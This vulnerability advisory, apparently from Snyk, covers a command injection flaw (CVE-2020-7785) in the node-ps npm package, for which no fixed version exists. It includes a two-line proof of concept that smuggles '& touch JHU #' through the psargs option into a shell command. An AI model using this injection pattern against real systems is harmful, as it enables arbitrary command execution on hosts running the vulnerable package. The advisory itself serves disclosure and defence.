Command Injection Affecting node-ps package, versions *


Severity

Recommended
0.0
critical
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.5% (91st percentile)

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  • Snyk IDSNYK-JS-NODEPS-1048335
  • published9 Feb 2021
  • disclosed4 Dec 2020
  • creditJHU System Security Lab

Introduced: 4 Dec 2020

CVE-2020-7785  (opens in a new tab)
CWE-78  (opens in a new tab)
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How to fix?

There is no fixed version for node-ps.

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 72 in lib/index.js.

PoC

var a =require("node-ps");
a.lookup({psargs:["& touch JHU #"]},function(){})

CVSS Scores

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